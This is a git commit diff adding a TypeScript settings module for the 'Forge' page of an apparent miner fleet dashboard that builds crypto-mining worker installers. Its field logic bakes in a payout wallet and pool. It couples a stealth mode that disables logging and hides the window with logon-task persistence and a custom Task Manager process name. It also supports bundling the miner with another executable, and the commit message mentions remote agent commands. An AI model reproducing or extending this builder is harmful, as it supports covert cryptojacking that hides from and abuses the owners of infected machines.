Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
326
server/web/src/help/forgeRules.ts
Normal file
326
server/web/src/help/forgeRules.ts
Normal file
@@ -0,0 +1,326 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
export interface ForgeFieldMeta {
|
||||
disabled: boolean;
|
||||
lockedReason?: string;
|
||||
badge?: ForgeFieldBadge;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
export interface ForgeSectionMeta {
|
||||
id: string;
|
||||
title: string;
|
||||
description: string;
|
||||
badge: ForgeFieldBadge;
|
||||
}
|
||||
|
||||
/** What each Forge section controls — shown in the UI header. */
|
||||
export const FORGE_SECTIONS: ForgeSectionMeta[] = [
|
||||
{
|
||||
id: 'identity',
|
||||
title: 'Identity',
|
||||
description: 'Worker label, control server URL, payout wallet — all baked into the installer.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'pool',
|
||||
title: 'Pool Configuration',
|
||||
description: 'Where this miner submits work. Baked per installer; each forged worker can use its own pool.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'performance',
|
||||
title: 'Performance & Resources',
|
||||
description: 'Threads, CPU/RAM limits, and when mining runs. Baked into the worker binary.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'install',
|
||||
title: 'Install & Process',
|
||||
description: 'Install path, persistence, stealth, and Task Manager name. Baked on first run.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'fusion',
|
||||
title: 'Fusion',
|
||||
description: 'Optional prep.exe bundling. Baked into the fused output file.',
|
||||
badge: 'baked',
|
||||
},
|
||||
{
|
||||
id: 'ai',
|
||||
title: 'AI Autonomy',
|
||||
description: 'Ollama decisions via the control server. Baked toggle; Ollama must run on the server PC.',
|
||||
badge: 'baked',
|
||||
},
|
||||
];
|
||||
|
||||
const BADGE_LABELS: Record<ForgeFieldBadge, string> = {
|
||||
baked: 'Baked into installer',
|
||||
'server-only': 'Server folder only — not in .exe',
|
||||
requires: 'Required when parent option is on',
|
||||
};
|
||||
|
||||
export function forgeBadgeLabel(badge: ForgeFieldBadge): string {
|
||||
return BADGE_LABELS[badge];
|
||||
}
|
||||
|
||||
/** Smart field update — auto-fixes coupled settings so incompatible mixes are hard to create. */
|
||||
export function applyForgeFieldUpdate(
|
||||
form: BuildRequest,
|
||||
field: keyof BuildRequest,
|
||||
value: unknown
|
||||
): BuildRequest {
|
||||
const next: BuildRequest = { ...form, [field]: value } as BuildRequest;
|
||||
|
||||
switch (field) {
|
||||
case 'stealth_mode':
|
||||
if (value === true) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'display_mode':
|
||||
if (value === 'visible') {
|
||||
next.stealth_mode = false;
|
||||
next.silent_mode = false;
|
||||
} else if (value === 'silent' || value === 'background') {
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'persistence':
|
||||
next.auto_start = value === true;
|
||||
break;
|
||||
|
||||
case 'auto_start':
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'thread_mode':
|
||||
if (value === 'fixed' && next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
if (value === 'percent' && (next.thread_percent < 1 || next.thread_percent > 100)) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'mining_mode':
|
||||
if (value === 'always') {
|
||||
// keep idle/schedule values for if user switches back
|
||||
}
|
||||
break;
|
||||
|
||||
case 'install_base':
|
||||
if (value !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'run_as':
|
||||
if (value === 'scheduled' || value === 'service') {
|
||||
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
break;
|
||||
|
||||
case 'ai_enabled':
|
||||
if (value === true) {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_port':
|
||||
if (typeof value === 'number') {
|
||||
if (value === 443 && !next.pool_tls) {
|
||||
next.pool_tls = true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
if (value === true && next.pool_port === 3333) {
|
||||
// common pools use 443 for TLS — warn in preflight, don't auto-change port
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeFieldMeta> {
|
||||
const isFixedThreads = form.thread_mode === 'fixed';
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
badge: 'server-only',
|
||||
hint: 'Only copies the built files on this PC — not embedded in the worker.',
|
||||
},
|
||||
pool_host: { disabled: false, badge: 'baked' },
|
||||
pool_port: { disabled: false, badge: 'baked' },
|
||||
pool_tls: { disabled: false, badge: 'baked' },
|
||||
pool_pass: { disabled: false, badge: 'baked' },
|
||||
thread_mode: { disabled: false, badge: 'baked' },
|
||||
thread_percent: {
|
||||
disabled: isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: isFixedThreads ? 'Disabled while Thread Mode is Fixed — use Fixed Threads instead.' : undefined,
|
||||
},
|
||||
threads: {
|
||||
disabled: !isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: !isFixedThreads ? 'Disabled while Thread Mode is Auto (%) — use Thread Percent instead.' : undefined,
|
||||
},
|
||||
cpu_priority: { disabled: false, badge: 'baked' },
|
||||
max_cpu_usage_pct: { disabled: false, badge: 'baked' },
|
||||
max_memory_percent: { disabled: false, badge: 'baked' },
|
||||
min_free_ram_mb: { disabled: false, badge: 'baked' },
|
||||
mining_mode: { disabled: false, badge: 'baked' },
|
||||
idle_threshold_pct: {
|
||||
disabled: !isIdle,
|
||||
badge: 'requires',
|
||||
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
||||
},
|
||||
idle_duration_minutes: {
|
||||
disabled: !isIdle,
|
||||
badge: 'requires',
|
||||
lockedReason: !isIdle ? 'Only applies when Mining Mode is "Only When Idle".' : undefined,
|
||||
},
|
||||
schedule_start: {
|
||||
disabled: !isScheduled,
|
||||
badge: 'requires',
|
||||
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
||||
},
|
||||
schedule_end: {
|
||||
disabled: !isScheduled,
|
||||
badge: 'requires',
|
||||
lockedReason: !isScheduled ? 'Only applies when Mining Mode is "Scheduled Hours".' : undefined,
|
||||
},
|
||||
install_base: { disabled: false, badge: 'baked' },
|
||||
install_custom_base: {
|
||||
disabled: form.install_base !== 'custom',
|
||||
badge: 'requires',
|
||||
lockedReason: form.install_base !== 'custom' ? 'Select Install Base → Custom Path first.' : undefined,
|
||||
},
|
||||
install_relative_path: { disabled: false, badge: 'baked' },
|
||||
adapt_to_hardware: {
|
||||
disabled: isFixedThreads,
|
||||
badge: 'baked',
|
||||
lockedReason: isFixedThreads
|
||||
? 'Adapt to hardware is ignored when using Fixed thread count — switch to Auto (%) or turn off fixed mode.'
|
||||
: undefined,
|
||||
},
|
||||
self_healing: { disabled: false, badge: 'baked' },
|
||||
stealth_mode: { disabled: false, badge: 'baked' },
|
||||
file_logging: {
|
||||
disabled: form.stealth_mode,
|
||||
badge: 'baked',
|
||||
lockedReason: form.stealth_mode ? 'Stealth mode disables log files — turn off Stealth to enable logging.' : undefined,
|
||||
},
|
||||
process_name: { disabled: false, badge: 'baked' },
|
||||
display_mode: { disabled: false, badge: 'baked' },
|
||||
persistence: {
|
||||
disabled: runAsForcedPersistence,
|
||||
badge: 'baked',
|
||||
lockedReason: runAsForcedPersistence
|
||||
? 'Run As Scheduled/Service always installs a logon task — persistence cannot be turned off for this mode.'
|
||||
: undefined,
|
||||
},
|
||||
auto_start: {
|
||||
disabled: runAsForcedPersistence,
|
||||
badge: 'baked',
|
||||
lockedReason: runAsForcedPersistence
|
||||
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
fusion_run_order: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
fusion_output_name: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.fusion_enabled ? 'Enable Fusion first.' : undefined,
|
||||
},
|
||||
ai_enabled: { disabled: false, badge: 'baked' },
|
||||
ai_ollama_endpoint: {
|
||||
disabled: !form.ai_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
ai_model: {
|
||||
disabled: !form.ai_enabled,
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** Live incompatibility notices shown above the form. */
|
||||
export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: boolean): string[] {
|
||||
const notices: string[] = [];
|
||||
|
||||
if (form.run_as === 'service') {
|
||||
notices.push(
|
||||
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
|
||||
);
|
||||
}
|
||||
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
|
||||
notices.push('Persistence is forced on for Scheduled/Service run modes.');
|
||||
}
|
||||
if (form.fusion_enabled && !fusionPrepSelected) {
|
||||
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
|
||||
}
|
||||
if (form.ai_enabled) {
|
||||
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
|
||||
}
|
||||
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
|
||||
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
|
||||
}
|
||||
if (form.pool_port === 443 && !form.pool_tls) {
|
||||
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
|
||||
}
|
||||
if (form.pool_tls && form.pool_port === 3333) {
|
||||
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
|
||||
}
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
Reference in New Issue
Block a user